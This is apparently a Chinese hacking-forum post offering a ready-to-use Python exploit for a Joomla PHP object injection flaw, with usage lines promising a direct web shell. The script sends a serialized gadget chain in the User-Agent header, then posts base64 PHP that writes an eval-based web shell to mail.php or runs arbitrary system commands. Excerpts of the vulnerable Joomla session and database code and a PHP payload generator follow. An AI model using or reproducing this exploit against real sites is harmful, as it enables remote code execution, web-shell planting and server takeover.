利用脚本。
exp：python jj.py http://123.123.123.123          ->直接GETSHELL
     python jj.py http://123.123.123.123 "whoami" ->执行命令
#author:we8i&90sec
import urllib2,urllib,base64
import cookielib,sys,re
cj = cookielib.CookieJar() 
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) 
urllib2.install_opener(opener) 
urllib2.socket.setdefaulttimeout(10) 
if len(sys.argv) == 2:
        values = {‘111‘ : base64.b64encode(‘$myfile = fopen($_SERVER["DOCUMENT_ROOT"]."/mail.php", "w+")or die("cctv321");fwrite($myfile, "<?php @eval(\$_POST[we8i]);?>");fclose($myfile);echo "cctv123";‘)}
elif len(sys.argv) == 3:
        values = {‘111‘ : base64.b64encode(‘echo "cctvcmd<sb>";system("‘+sys.argv[2]+‘");echo "</sb>";‘)}
ua = ‘}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\x5C0\x5C0\x5C0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:60:"eval(base64_decode($_POST[111]));JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\x5C0\x5C0\x5C0connection";b:1;}\xF0\x9D\x8C\x86‘
 
req  = urllib2.Request(url=sys.argv[1],headers={‘User-Agent‘:ua}) 
opener.open(req) 
data = urllib.urlencode(values)
req  = urllib2.Request(sys.argv[1],data)
comeback = opener.open(req).read()
if ‘cctv123‘ in comeback: 
        print "ShellUrl:"+sys.argv[1]+"/mail.php"
        print "PS:if the shell url wrong try http://webUrlRoot/mail.php"
elif ‘cctv321‘ in comeback:
        print "the command can work,but the path maybe can not write!"
elif ‘cctvcmd‘ in comeback:
        cmd= re.findall("<sb>(.*)</sb>",comeback,re.S)
        for x in cmd:
                print x

protected function _validate($restart = false)
    {
        ...
  
        // Record proxy forwarded for in the session in case we need it later
        if (isset($_SERVER[‘HTTP_X_FORWARDED_FOR‘]))
        {
            $this->set(‘session.client.forwarded‘, $_SERVER[‘HTTP_X_FORWARDED_FOR‘]);
        }
  
        ...
        // Check for clients browser
        if (in_array(‘fix_browser‘, $this->_security) && isset($_SERVER[‘HTTP_USER_AGENT‘]))
        {
            $browser = $this->get(‘session.client.browser‘);
  
            if ($browser === null)
            {
                $this->set(‘session.client.browser‘, $_SERVER[‘HTTP_USER_AGENT‘]);
            }
            elseif ($_SERVER[‘HTTP_USER_AGENT‘] !== $browser)
            {
                // @todo remove code: $this->_state = ‘error‘;
                // @todo remove code: return false;
            }

public function __destruct()
{
    $this->disconnect();
}
...
public function disconnect()
{
    // Close the connection.
    if ($this->connection)
    {
        foreach ($this->disconnectHandlers as $h)
        {
            call_user_func_array($h, array( &$this));
        }
  
        mysqli_close($this->connection);
    }
  
    $this->connection = null;
}

function init()
    {
        // Check absolute bare minimum requirements.
        if ((function_exists(‘version_compare‘) && version_compare(PHP_VERSION, ‘4.3.0‘, ‘<‘)) || !extension_loaded(‘xml‘) || !extension_loaded(‘pcre‘))
        {
            return false;
        }
        ...
        if ($this->feed_url !== null || $this->raw_data !== null)
        {
            $this->data = array();
            $this->multifeed_objects = array();
            $cache = false;
  
            if ($this->feed_url !== null)
            {
                $parsed_feed_url = SimplePie_Misc::parse_url($this->feed_url);
                // Decide whether to enable caching
                if ($this->cache && $parsed_feed_url[‘scheme‘] !== ‘‘)
                {
                    $cache = call_user_func(array($this->cache_class, ‘create‘), $this->cache_location, call_user_func($this->cache_name_function, $this->feed_url), ‘spc‘);
                }

<?php
//header("Content-Type: text/plain");
class JSimplepieFactory {
}
class JDatabaseDriverMysql {
  
}
class SimplePie {
    var $sanitize;
    var $cache;
    var $cache_name_function;
    var $javascript;
    var $feed_url;
    function __construct()
    {
        $this->feed_url = "phpinfo();JFactory::getConfig();exit;";
        $this->javascript = 9999;
        $this->cache_name_function = "assert";
        $this->sanitize = new JDatabaseDriverMysql();
        $this->cache = true;
    }
}
  
class JDatabaseDriverMysqli {
    protected $a;
    protected $disconnectHandlers;
    protected $connection;
    function __construct()
    {
        $this->a = new JSimplepieFactory();
        $x = new SimplePie();
        $this->connection = 1;
        $this->disconnectHandlers = [
            [$x, "init"],
        ];
    }
}
  
$a = new JDatabaseDriverMysqli();
echo serialize($a);